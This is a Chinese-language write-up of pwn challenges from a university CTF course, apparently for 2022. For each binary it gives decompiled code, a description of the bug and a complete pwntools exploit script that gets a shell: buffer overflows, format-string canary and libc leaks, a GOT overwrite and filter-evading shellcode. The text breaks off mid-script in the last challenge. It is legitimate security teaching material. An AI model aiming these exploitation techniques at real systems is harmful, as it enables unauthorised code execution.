Yet another CTF writeups ;)

Intro

睽違兩年,這學期修了學校的電腦攻防課程,pwn題的部分順利全解了,筆記一下這次的解題過程

binary和exploit: https://github.com/lebr0nli/NCU-ADL-CTF/tree/main/2022

helloworld

Overview

checksec:

pwndbg> checksec
[*] '/ctf/work/ADL/2022/helloworld/helloworld'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

code:

int helloworld()
{
  return execve("/bin/sh", 0LL, 0LL);
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[32]; // [rsp+0h] [rbp-20h] BYREF

  init(argc, argv, envp);
  puts("Are you new to ctf?");
  puts("Try to say helloworld in hacker's way!");
  gets(v4);
  return 0;
}

main用了gets去讀輸入到stack上的buffer,很明顯有stack bof

另外helloworld的部分會去直接幫你execve("/bin/sh", 0, 0)

Solution

蓋掉main的saved rip,直接return到helloworld就可以了

solve.py:

#!/usr/bin/env python3

from pwn import *
import sys
from typing import Union

binary = ELF("./helloworld_patched")

context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]


def one_gadget(filename: str) -> list:
    return [int(i) for i in
            __import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]


GDB_SCRIPT = '''
b main
'''.strip()


def conn() -> Union[process, remote]:
    io = None
    for arg in sys.argv[1:]:
        # ./solve <any option> d
        if arg == 'd':
            context.log_level = 'debug'
        # ./solve l
        if arg == 'l':
            io = process([binary.path])
        # ./solve g
        elif arg == 'g':
            io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
    # $ ./solve
    if io is None:
        io = remote("ctf.adl.tw", 10000)
    return io


def main():
    io = conn()

    win = binary.symbols['helloworld']

    io.sendlineafter(b"!\n", b"A" * 0x28 + p64(win))

    io.interactive() # ADL{h3ll0_w0rld!!!https://youtu.be/rOU4YiuaxAM}


if __name__ == "__main__":
    main()

flag: ADL{h3ll0_w0rld!!!https://youtu.be/rOU4YiuaxAM}

helloworld again

Overview

checksec:

[*] '/ctf/work/ADL/2022/helloworld_again/helloworld_again'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

code:

int helloworld()
{
  return system("/bin/sh");
}

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[32]; // [rsp+0h] [rbp-20h] BYREF

  init(argc, argv, envp);
  puts("Say helloworld to this cute yatagarasu!");
  __isoc99_scanf("%s", s);
  if ( strlen(s) > 0x20 )
  {
    puts("Too looooooooooooooooong. The yatagarasu had flown away.");
    exit(0);
  }
  if ( strcmp(s, "helloworld") )
  {
    puts("This is not helloworld. The yatagarasu seems confused.");
    exit(0);
  }
  return 0;
}

main由於在scanf的部分沒有限制長度,跟上題一樣有stack bof,只是這次多了一個strlenstrcmp的檢查

至於helloworld的部分,可以發現他這次不用execve,改成用system

Solution

只需要讓payload的開頭是helloworld\0,即可繞過檢查

剩下的就和上一題一樣,跳到helloworld就可以了

需要注意的是由於do_system中的movaps指令,會要求rsp+offset對齊16 bytes,所以為了對齊,我們可以直接跳到helloworldpush完rbp後的位置(+5),來讓do_system的時候stack是有正確對齊的

solve.py:

#!/usr/bin/env python3

from pwn import *
import sys
from typing import Union

binary = ELF("./helloworld_again_patched")

context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]


def one_gadget(filename: str) -> list:
    return [
        int(i) for i in __import__('subprocess').check_output(
            ['one_gadget', '--raw', filename]).decode().split(' ')
    ]


GDB_SCRIPT = '''
b main
'''.strip()


def conn() -> Union[process, remote]:
    io = None
    for arg in sys.argv[1:]:
        # ./solve <any option> d
        if arg == 'd':
            context.log_level = 'debug'
        # ./solve l
        if arg == 'l':
            io = process([binary.path])
        # ./solve g
        elif arg == 'g':
            io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
    # $ ./solve
    if io is None:
        io = remote("ctf.adl.tw", 10001)
    return io


def main():
    io = conn()

    payload = flat(
        {
            0: b"helloworld\x00",
            0x28: p64(binary.symbols["helloworld"] + 5)
        },
        length=0x40)

    io.sendlineafter(b"!\n", payload)
    io.interactive()  # ADL{Rur1_15_my_w1fu~https://youtu.be/DuMqFknYHBs}


if __name__ == "__main__":
    main()

flag: ADL{Rur1_15_my_w1fu~https://youtu.be/DuMqFknYHBs}

sakana

Overview

checksec:

[*] '/ctf/work/adl/2022/sakana/sakana'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

保護全開

code有點雜,但主要的問題出在這:

unsigned __int64 __fastcall get_line(__int64 a1, __int64 a2)
{
  __int64 v3; // rax
  char v4; // [rsp+1Bh] [rbp-15h]
  _BYTE v5[12]; // [rsp+1Ch] [rbp-14h]
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  puts(a1);
  *(_DWORD *)&v5[8] = 0;
  v6 = 0LL;
  *(_QWORD *)v5 = (unsigned int)strlen(a1);
  while ( 1 )
  {
    v4 = getc();
    if ( v4 == 10 )
      break;
    if ( v6 <= 0x1FF )
    {
      v3 = (*(_QWORD *)&v5[4])++;
      strins(a2, (unsigned int)v4, v3);
      ++v6;
    }
  }
  *(_BYTE *)(a2 + v6) = 0;
  return v6;
}

unsigned __int64 parse_cmd()
{
  int v0; // edx
  int v1; // ecx
  int v2; // er8
  int v3; // er9
  int v4; // edx
  int v5; // ecx
  int v6; // er8
  int v7; // er9
  char v9[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v10; // [rsp+108h] [rbp-8h]

  v10 = __readfsqword(0x28u);
  if ( (unsigned int)strlen(&cmd) )
  {
    trim(&cmd);
    if ( !(unsigned int)strcmp(&cmd, "help") )
    {
      puts(
        "help\t\t: print this help menu.\n"
        "sakana\t\t: sakana~\n"
        "chinanago\t: chinanago~\n"
        "exit\t\t: terminate shell.\n"
        "clear\t\t: clear screen.\n");
    }
    else if ( !(unsigned int)strcmp(&cmd, "printf") )
    {
      memset(v9, 0LL, 256LL);
      get_line((__int64)&unk_5ADF, (__int64)v9);
      printf((unsigned int)v9, (unsigned int)v9, v0, v1, v2, v3, v9[0]);
    }
    else if ( !(unsigned int)strcmp(&cmd, "clear") )
    {
      puts("\x1B[2J\x1B[H");
    }
    else
    {
      if ( !(unsigned int)strcmp(&cmd, "exit") )
        _exit(1);
      if ( !(unsigned int)strcmp(&cmd, "sakana") )
      {
        sakana();
      }
      else if ( !(unsigned int)strcmp(&cmd, "chinanago") )
      {
        chinanago();
      }
      else
      {
        printf(
          (unsigned int)"%s: command not found\nRun 'help' for usage.\n",
          (unsigned int)&cmd,
          v4,
          v5,
          v6,
          v7,
          v9[0]);
      }
    }
  }
  return __readfsqword(0x28u) ^ v10;
}

可以看到當輸入的command是printf時,getline()最多可以讀0x1ff bytes,但buffer的大小是0x110 bytes,所以很明顯有overflow

此外parsecmd()會直接printf v9這塊我們可以控制的buffer,所以還有format string的漏洞

Solution

首先用format string leak argument index分別是39和45的memory中存的值,可以得到canary和__libc_start_main+243的address

接下來算出libc base之後直接ret2libc就可以了

(不太確定為什麼%<num>$<type>%p這種format string用不了,所以使用多個%X來leak data)

#!/usr/bin/env python3

from pwn import *
import sys
from typing import Union

binary = ELF("./sakana_patched")
libc = ELF("./libc.so.6")

context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]


def one_gadget(filename: str) -> list:
    return [int(i) for i in
            __import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]


GDB_SCRIPT = '''
b *parse_cmd+187
'''.strip()


def conn() -> Union[process, remote]:
    io = None
    for arg in sys.argv[1:]:
        # ./solve <any option> d
        if arg == 'd':
            context.log_level = 'debug'
        # ./solve l
        if arg == 'l':
            io = process([binary.path])
        # ./solve g
        elif arg == 'g':
            io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
    # $ ./solve
    if io is None:
        io = remote("ctf.adl.tw", 10003)
    return io


def main():
    io = conn()

    io.sendlineafter(b"~> ", b"printf")

    payload = b"%X" * 39

    io.sendline(payload)

    leaks = io.recvuntil(b"~> ", drop=True).split(b"0x")

    canary = leaks[-1]
    info(f"canary found: {canary}")

    io.sendline(b"printf")
    payload = b"%X" * 45
    io.sendline(payload)
    leaks = io.recvuntil(b"~> ", drop=True).split(b"0x")
    libc_leaked = int(leaks[-1], 16)
    info(f"libc leaked: {libc_leaked:#x}")
    libc.address = libc_leaked - 243 - libc.sym["__libc_start_main"]
    success(f"libc base: {libc.address:#x}")

    rop = ROP(libc)
    rop_chain = p64(rop.ret[0])
    rop_chain += p64(rop.rdi[0])
    rop_chain += p64(next(libc.search(b"/bin/sh")))
    rop_chain += p64(libc.symbols["system"])


    io.sendline(b"printf")
    payload = flat(
    {
        0x110 - 8: bytes.fromhex(canary.decode())[::-1],
        0x110 + 8: rop_chain
    }
    , length=0x1ff)
    io.sendline(payload)

    io.interactive() # ADL{5aK4Na~~~cH1n4N4g0~~~https://youtu.be/Rwzy6Qt8gq8}


if __name__ == "__main__":
    main()

flag: ADL{5aK4Na~~~cH1n4N4g0~~~https://youtu.be/Rwzy6Qt8gq8}

cyberpsychosis

Overview

checksec:

[*] '/ctf/work/adl/2022/cyberpsychosis/cyberpsychosis'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

沒PIE,Partial RELRO

主要的問題在這:

unsigned __int64 show_info()
{
  int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  v1 = 0;
  puts("Which implant to show (index should between 0-9)");
  print_limb_name();
  write(1, "idx> ", 5uLL);
  __isoc99_scanf("%d", &v1);
  if ( v1 <= 9 )
  {
    if ( dword_405128[20 * v1] )
    {
      printf("limb: %s\n", (const char *)&implants + 80 * v1);
      printf("implanted name: %s\n", (const char *)&implants + 80 * v1 + 32);
      printf("value: %lu\n", *((_QWORD *)&unk_405120 + 10 * v1));
    }
    else
    {
      puts("Not yet implanted.");
    }
  }
  else
  {
    puts("Invalid index!!");
  }
  return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 edit_info()
{
  __int64 v0; // rax
  int v2[2]; // [rsp+8h] [rbp-28h] BYREF
  char s[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v2[0] = 0;
  v2[1] = 0;
  memset(s, 0, 0x10uLL);
  puts("Which limb to edit (index should between 0-9)");
  print_limb_name();
  write(1, "idx> ", 5uLL);
  __isoc99_scanf("%d", v2);
  if ( v2[0] <= 9 )
  {
    printf("Implant name: ");
    read(0, (char *)&implants + 80 * v2[0] + 32, 0x20uLL);
    printf("Implant value: ");
    read(0, s, 0x10uLL);
    v0 = atol(s);
    *((_QWORD *)&unk_405120 + 10 * v2[0]) = v0;
    dword_405128[20 * v2[0]] = 1;
    puts("Implant success!");
  }
  else
  {
    puts("Invalid index!!");
  }
  return __readfsqword(0x28u) ^ v4;
}

Solution

由於show_info()沒有擋掉負數的index(v1),稍微gdb一下可以發現,只要讓index等於-3的話可以leak放在GOT table中printf的address,leak出來後減掉offset即可得到libc base

由於edit_info()也沒有擋掉負數的index(v2),可以發現讓index等於-2可以蓋掉GOT表中atol的address,於是我們只需要將它蓋成system的address,即可讓atol(&input)變成system(&input)

最後我們只需要在蓋完atol之後,輸入/bin/sh,即可拿shell

#!/usr/bin/env python3

from pwn import *
import sys
from typing import Union

binary = ELF("./cyberpsychosis_patched")
libc = ELF("./libc.so.6")

context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]


def one_gadget(filename: str) -> list:
    return [
        int(i) for i in __import__('subprocess').check_output(
            ['one_gadget', '--raw', filename]).decode().split(' ')
    ]


GDB_SCRIPT = '''
b *edit_info+220
b *show_info+334
'''.strip()


def conn() -> Union[process, remote]:
    io = None
    for arg in sys.argv[1:]:
        # ./solve <any option> d
        if arg == 'd':
            context.log_level = 'debug'
        # ./solve l
        if arg == 'l':
            io = process([binary.path])
        # ./solve g
        elif arg == 'g':
            io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
    # $ ./solve
    if io is None:
        io = remote("ctf.adl.tw", 10004)
    return io


def main():

    io = conn()

    io.sendlineafter(b"> ", b"1")

    io.sendlineafter(b"> ", b"-3")

    io.recvuntil(b"implanted name: ")
    leaked = io.recvuntil(b"\nvalue: ", drop=True)
    info(f"leaked: {leaked}  {int.from_bytes(leaked, 'little'):#x}")
    printf_addr = int(io.recvline().strip())
    info(f"printf address: {printf_addr:#x}")

    libc.address = printf_addr - libc.symbols["printf"]
    success(f"libc base: {libc.address:#x}")
    success(f"system address: {libc.symbols['system']:#x}")

    io.sendlineafter(b"> ", b"2")

    io.sendlineafter(b"> ", b"-2")

    io.sendafter(b": ",
                 p64(libc.symbols['setvbuf']) + p64(libc.symbols['system']))

    io.sendlineafter(b": ", b"/bin/sh")

    io.interactive()  # ADL{月一緒に行けなって ごめんね.https://youtu.be/h4VJGNNSQnw}


if __name__ == "__main__":
    main()

flag: ADL{月一緒に行けなって ごめんね.https://youtu.be/h4VJGNNSQnw}

modohayaku

Overview

checksec:

[*] '/ctf/work/adl/2022/modohayaku/modohayaku'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

stack可執行,沒pie

main:

btw 我的ida 7.6不知道為啥分析不了,所以我是用cutter

int32_t main (void) {
    void * buf;
    int64_t var_c8h;
    int64_t var_c0h;
    int64_t var_b8h;
    int64_t var_b0h;
    int64_t var_a8h;
    int64_t var_a0h;
    int64_t var_98h;
    int64_t var_90h;
    int64_t var_88h;
    int64_t var_80h;
    int64_t var_78h;
    int64_t var_70h;
    int64_t var_68h;
    int64_t var_60h;
    int64_t var_58h;
    int64_t var_50h;
    int64_t var_48h;
    int64_t var_40h;
    int64_t var_38h;
    int64_t var_30h;
    int64_t var_28h;
    int64_t var_10h;
    int64_t var_8h;
    int64_t var_4h;
    eax = 0;
    init ();
    rax = 0x7361772073696854;
    rdx = 0x7478652065687420;
    buf = rax;
    var_c8h = rdx;
    rax = 0x6c6c696b73206172;
    rdx = 0x2049207461687420;
    var_c0h = rax;
    var_b8h = rdx;
    rax = 0x6e65656220646168;
    rdx = 0x2c676e6964696820;
    var_b0h = rax;
    var_a8h = rdx;
    rax = 0x206c617544abc220;
    rdx = 0xbbc2736564616c42;
    var_a0h = rax;
    var_98h = rdx;
    rax = 0x687420646e61202c;
    rdx = 0x696e686365742065;
    var_90h = rax;
    var_88h = rdx;
    rax = 0x6177204920657571;
    rdx = 0x20676e6973752073;
    var_80h = rax;
    var_78h = rdx;
    rax = 0x2073746920736177;
    rdx = 0x616c632d68676968;
    var_70h = rax;
    var_68h = rdx;
    rax = 0x64726f7773207373;
    rdx = 0xc2206c6c696b7320;
    var_60h = rax;
    var_58h = rdx;
    rax = 0x72756272617453ab;
    rdx = 0x6165727453207473;
    var_50h = rax;
    var_48h = rdx;
    rax = 0x732061202cbbc26d;
    rdx = 0x682d6e6565747869;
    var_40h = rax;
    var_38h = rdx;
    rax = 0x6f626d6f63207469;
    rdx = 0x2e6b636174746120;
    var_30h = rax;
    var_28h = rdx;
    section_plt_sec ("Show me how fast you are!!!");
    rax = &buf;
    edi = 0;
    eax = 0;
    read (edi, rax, 0xb0);
    var_4h = 0;
    while (var_4h <= 0xaf) {
        eax = var_4h;
        rax = (int64_t) eax;
        eax = *((buf + rax));
        if (al == 0x90) {
            section_plt_sec ("Too sloooooooooooooooow.");
            exit (0);
        }
        var_4h++;
    }
    var_8h = 0;
    while (var_8h <= 0xf) {
        edx = var_8h;
        eax = var_8h;
        eax <<= 2;
        eax += edx;
        eax += eax;
        eax += edx;
        rax = (int64_t) eax;
        eax = *((buf + rax));
        if (al != 0xc) {
            edx = var_8h;
            eax = var_8h;
            eax <<= 2;
            eax += edx;
            eax += eax;
            eax += edx;
            eax++;
            rax = (int64_t) eax;
            eax = *((buf + rax));
            if (al == 0x87) {
                goto label_0;
            }
            edx = var_8h;
            eax = var_8h;
            eax <<= 2;
            eax += edx;
            eax += eax;
            eax += edx;
            eax += 2;
            rax = (int64_t) eax;
            eax = *((buf + rax));
            if (al == 0x63) {
                goto label_0;
            }
            section_plt_sec ("Wrong sword skill.");
            exit (0);
        }
label_0:
        var_8h++;
    }
    rax = &buf;
    var_10h = rax;
    rdx = rax;
    eax = 0;
    void (*rdx)() ();
    eax = 0;
    return rax;
}

題目會先去讀輸入到一塊還蠻大的buffer,最後會把那塊buffer的位置放進rdx,再call rdx

但有一些限制:

  1. \x90不能出現在shellcode中

  2. 每11個bytes的開頭必須是\x0c\x87\x63

Solution

首先暴力試一下\x0c\x87\x63可以產生什麼可用的instruction:

from pwn import *
context.arch='amd64'
for i in range(0x100):
    print(disasm(b"\x0c\x87\x63" + bytes([i])))
    print()

可以發現一些有趣的東西,例如:

   0:   0c 87                   or     al, 0x87
   2:   63 d1                   movsxd edx, ecx

測試一下可以發現movsxd edx, ecx幾乎和mov edx, ecx一樣,但差別在於這樣做會把rdx最左邊32個bits整個清掉

接著我們可以用gdb break在call rdx,看一下那時的registers:

 RAX  0x0
*RBX  0x401470 (__libc_csu_init) ◂— endbr64
*RCX  0x7f09ab2dcfd2 (read+18) ◂— cmp    rax, -0x1000 /* 'H=' */
*RDX  0x7ffe024eb730 ◂— 0x50fc030d163870c
 RDI  0x0
*RSI  0x7ffe024eb730 ◂— 0x50fc030d163870c
*R8   0x1c
*R9   0x7f09ab3dcd60 (_dl_fini) ◂— endbr64
*R10  0x4004db ◂— 0x6474730064616572 /* 'read' */
*R11  0x246
*R12  0x4010b0 (_start) ◂— endbr64
*R13  0x7ffe024eb8f0 ◂— 0x1
 R14  0x0
 R15  0x0
*RBP  0x7ffe024eb800 ◂— 0x0
*RSP  0x7ffe024eb730 ◂— 0x50fc030d163870c
*RIP  0x401464 (main+617) ◂— call   rdx

可以看到rdi是0,rdxrsi指向同一個位置,都是我們read進去的buffer

所以,要拿shell很簡單,我們可以透過movsxd edx, ecx,不要讓rdx太大導致read失敗(不太確定為什麼會失敗…),接著把被\x0c\x87(mov al, 87)改掉的rax恢復成0,接著直接syscall,即可重新read一段不受限制的輸入進buffer,把放syscall的位置後面的buffer蓋成可以拿shell的shellcode即可

#!/usr/bin/env python3

from pwn import *
import sys
from typing import Union

binary = ELF("./modohayaku_patched")

context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = 'amd64'

def one_gadget(filename: str) -> list:
    return [int(i) for i in
            __import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]


GDB_SCRIPT = '''
# b *main+405
# b *main+466
b *main+617
'''.strip()


def conn() -> Union[process, remote]:
    io = None
    for arg in sys.argv[1:]:
        # ./solve <any option> d
        if arg == 'd':
            context.log_level = 'debug'
        # ./solve l
        if arg == 'l':
            io = process([binary.path])
        # ./solve g
        elif arg == 'g':
            io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
    # $ ./solve
    if io is None:
        io = remote("ctf.adl.tw", 10002)
    return io

def fix(payload):
    payload = list(payload)
    print(payload)
    edx = 0
    for edx in range(0x10):
        # mov     eax, edx
        # shl     eax, 2
        # add     eax, edx
        # add     eax, eax
        # add     eax, edx
        eax = edx
        eax = eax << 2
        eax = eax + edx
        eax = eax + eax
        eax = eax + edx
        print(eax)
        payload[eax] = 0xc
        payload[eax + 1] = 0x87
        payload[eax + 2] = 0x63

    return bytes(payload)


def main():
    io = conn()

    # every 11 bytes starts with `\x0c\x87\x63`
    payload = b"\x0c\x87\x63\xd1" # mov al, 0x87; movsxd edx, ecx
    payload += asm(
        '''
        xor al, al
        syscall
        '''
    )

    nop_sled_len = len(payload)
    info(f"payload len: {nop_sled_len}")
    payload = payload.ljust(0xb0, b'\x00')
    payload = fix(payload)
    io.send(payload)
    payload = b"\x90" * nop_sled_len
    payload += asm(shellcraft.sh())
    io.send(payload)
    io.interactive() # ADL{574r8ur57_57r34m!!!https://youtu.be/jUuknk81n2w}


if __name__ == "__main__":
    main()

flag: ADL{574r8ur57_57r34m!!!https://youtu.be/jUuknk81n2w}

modomodohayaku

Overview

code基本上和前一題一樣,只是這次禁止kirot中任何一個字元出現在shellcode中,且變成每6個bytes一次\x0c\x87\x63

此外執行的過程中還有一些無聊的sleep,搞得很難debug…

Solution

和上一題一樣,只是這次要符合6個bytes的規律,所以\x0c\x87\x63中間我放了一個mov eax, eaxnop,並在第二次\x0c\x87\x63後接上\xc7以使用movsxd eax, edirax清零,接著syscall,把後面的buffer蓋成新的shellcode即可

#!/usr/bin/env python3

from pwn import *
import sys
from typing import Union
from tempfile import NamedTemporaryFile

binary = ELF("./modomodohayaku_patched")

context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]


if not os.path.exists("./libnosleep.so"):
    with NamedTemporaryFile() as f:
        f.write('''
#define _GNU_SOURCE
// hook sleep to do nothing
unsigned int sleep(unsigned int seconds) {
    return 0;
}
'''.strip().encode())
        f.flush()
        os.system(f"gcc -x c -shared -fPIC -o libnosleep.so {f.name} -ldl")



def one_gadget(filename: str) -> list:
    return [int(i) for i in
            __import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]


GDB_SCRIPT = '''
# b *0x4015BB
patch sleep ret
b *0x4015D1
'''.strip()


def conn() -> Union[process, remote]:
    io = None
    for arg in sys.argv[1:]:
        # ./solve <any option> d
        if arg == 'd':
            context.log_level = 'debug'
        # ./solve l
        if arg == 'l':
            io = process([binary.path], env={"LD_PRELOAD": "./libnosleep.so"})
        # ./solve g
        elif arg == 'g':
            io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
    # $ ./solve
    if io is None:
        io = remote("ctf.adl.tw", 10006)
    return io

def fix(payload):
    print(payload)
    payload = list(payload)
    edx = 0
    for edx in range(0x10):
        # mov     eax, edx
        # add     eax, eax
        # add     eax, edx
        # add     eax, eax
        eax = edx
        eax += eax 
        eax = eax + edx
        eax += eax
        print(eax)
        payload[eax] = 0xc
        payload[eax + 1] = 0x87
        payload[eax + 2] = 0x63

    return bytes(payload)


def main():
    io = conn()

    # every 6 bytes starts with `\x0c\x87\x63`
    payload = b"\x0c\x87\x63\xd1" # mov al, 0x87; movsxd edx, ecx
    payload += asm(
        '''
        mov eax, eax
        '''
    )
    payload = payload.ljust(9, b"\x00")
    payload += b"\xc7" # mov al, 0x87; movsxd eax, edi
    payload += asm(
        '''
        syscall
        '''
    )
    nop_sled_len = len(payload)
    info(f"payload len: {nop_sled_len}")
    payload = payload.ljust(0x60, b'\x00')
    payload = fix(payload)
    io.sendafter(b"!!!\n", payload)
    payload = b"\x90" * nop_sled_len
    payload += asm(shellcraft.sh())
    io.sendline(payload)
    io.interactive() # ADL{G1v3_m3_73n_53c0nd5!!!https://youtu.be/UljR2IQAVfw}


if __name__ == "__main__":
    main()

flag: ADL{G1v3_m3_73n_53c0nd5!!!https://youtu.be/UljR2IQAVfw}

modomodomodohayaky

Overview

跟上上題和上一題差不多,只是這次變成每5個bytes一次c8763

Solution

這次比較特別的是在開頭使用\x0c\x87\x63\x??,就只剩1 byte可控了

但可以發現,若是使用jmp $+x,程式不會執行奇怪的instruction,一樣會short jump,不過因為\x0c\x87\x63的開頭是\x0c,所以會變成jmp $+0xc

接著可以發現,jmp $+0xc完剛好是某一個\x0c\x87\x63結束的位置,所以short jump完即可以使用一次2 bytes的instruction,讓程式接著順利的執行

剩下的和上一題一樣,透過movsxd控制好raxrdx,即可用新的shellcode覆蓋syscall後面的buffer

#!/usr/bin/env python3

from pwn import *
import sys
from typing import Union

binary = ELF("./modomodomodohayaku")

context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]


def one_gadget(filename: str) -> list:
    return [int(i) for i in
            __import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]


GDB_SCRIPT = '''
b *0x4014B8
'''.strip()


def conn() -> Union[process, remote]:
    io = None
    for arg in sys.argv[1:]:
        # ./solve <any option> d
        if arg == 'd':
            context.log_level = 'debug'
        # ./solve l
        if arg == 'l':
            io = process([binary.path], env={"LD_PRELOAD": "./libnosleep.so"})
        # ./solve g
        elif arg == 'g':
            io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT, env={"LD_PRELOAD": "./libnosleep.so"})
    # $ ./solve
    if io is None:
        io = remote("ctf.adl.tw", 10007)
    return io

def fix(payload):
    print(payload)
    payload = list(payload)
    edx = 0
    for edx in range(0x10):
        # mov     eax, edx
        # shl     eax, 2
        # add     eax, edx
        eax = edx
        eax = eax << 2
        eax = eax + edx
        print(eax)
        payload[eax] = 0xc
        payload[eax + 1] = 0x87
        payload[eax + 2] = 0x63

    return bytes(payload)


def main():
    io = conn()

    # every 5 bytes starts with `\x0c\x87\x63`
    payload = b"\x0c\x87\x63\xd1"  # mov al, 0x87; movsxd edx, ecx
    payload += asm(
        '''
        jmp $+0xc
        '''
    )
    # payload = payload.ljust(8, b"\x00")
    # payload += asm("syscall")
    # payload = payload.ljust(13, b"\x00")
    # payload += asm("syscall")
    payload = payload.ljust(18, b"\x00")
    payload += asm(
        '''
        jmp $+4
        '''
    )
    payload = payload.ljust(23, b"\x00")
    payload += b"\xc7" # mov al, 0x87; movsxd eax, edi
    payload += asm(
        '''
        jmp $+0xc
        '''
    )
    # payload = payload.ljust(28, b"\x00")
    # payload += asm("syscall")
    # payload = payload.ljust(33, b"\x00")
    # payload += asm("syscall")
    payload = payload.ljust(38, b"\x00")
    payload += asm("syscall")

    nop_sled_len = len(payload)
    info(f"payload len: {nop_sled_len}")
    payload = payload.ljust(0x50, b'\x00')
    payload = fix(payload)
    print(payload)
    io.sendafter(b"!!!\n", payload)
    payload = b"\x90" * nop_sled_len
    payload += asm(shellcraft.sh())
    io.sendline(payload)
    io.interactive() # ADL{us0d4r0......https://youtu.be/KId6eunoiWk}


if __name__ == "__main__":
    main()

flag: ADL{us0d4r0......https://youtu.be/KId6eunoiWk}

project alicization

Overview

這題沒啥pwn,只是code很雜又因為是用c++寫的,所以逆出來很醜

主要的問題在這:

__int64 __fastcall admin_password_gen[abi:cxx11](__int64 a1)
{
  char v2; // [rsp+1Bh] [rbp-5h]
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= 19; ++i )
  {
    v2 = rand() % 93 + 33;
    std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator+=(
      &admin_passwd[abi:cxx11],
      (unsigned int)v2);
  }
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string(
    a1,
    &admin_passwd[abi:cxx11]);
  return a1;
}

unsigned __int64 init(void)
{
  unsigned int v0; // eax
  char v2[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v0 = time(0LL);
  srand(v0);
  admin_password_gen[abi:cxx11](v2);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::~basic_string(v2);
  init_buf_show_banner();
  init_account_map();
  init_cmd_funcs();
  return __readfsqword(0x28u) ^ v3;
}

__int64 __fastcall check_illegal_element(void *a1, __int64 a2)
{
  while ( a2-- )
  {
    if ( *(_BYTE *)a1 <= 0x1Fu || *(_BYTE *)a1 > 0x7Eu )
      return 0LL;
    a1 = (char *)a1 + 1;
  }
  return 1LL;
}

__int64 system_call_generate_shellcode_element(void)
{
  __int64 v1; // rax
  __int64 v2; // rax
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  char *s; // [rsp+8h] [rbp-18h]

  if ( (unsigned __int8)Account::is_admin(curr_accout) )
  {
    s = (char *)mmap((void *)0xC0000, (size_t)&_data_start, 7, 34, 0, 0LL);
    memset(s, 48, (size_t)&_data_start);
    operator<<(&std::cout, "Say your element content: ");
    read(0, s + 34659, 0x789DuLL);
    if ( (unsigned __int8)check_illegal_element(s + 34659, 0x789DuLL) )
    {
      return ((__int64 (*)(void))(s + 34659))();
    }
    else
    {
      v1 = operator<<(&std::cout, "System Call Fail!");
      return std::ostream::operator<<(v1, &std::endl<char,std::char_traits<char>>);
    }
  }
  else
  {
    v2 = operator<<(&std::cout, "You are ");
    v3 = operator<<(v2, curr_accout);
    v4 = operator<<(v3, ", not Quinella.");
    std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
    v5 = operator<<(&std::cout, "You need administrator permission.");
    return std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
  }
}

可以看到他會用srand(time(0))去設random seed,並在admin_password_gen中使用rand() % 93 + 33產生20 bytes的admin password

並在成功登入admin的帳號後,可以在system_call_generate_shellcode_element()中執行printable的shellcode

Solution

用同樣的方法rand()出一組password,然後從網路上隨便找一個可以產生printable shellcode的script產生一下shellcode即可

#!/usr/bin/env python3

from pwn import *
import sys
from typing import Union
from ctypes import CDLL
import pwnlib
from ae64 import AE64

binary = ELF("./project_alicization_patched")

context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = 'amd64'

def one_gadget(filename: str) -> list:
    return [int(i) for i in
            __import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]


GDB_SCRIPT = '''
b *$rebase(0x3D48)
'''.strip()


def conn() -> Union[process, remote]:
    io = None
    for arg in sys.argv[1:]:
        # ./solve <any option> d
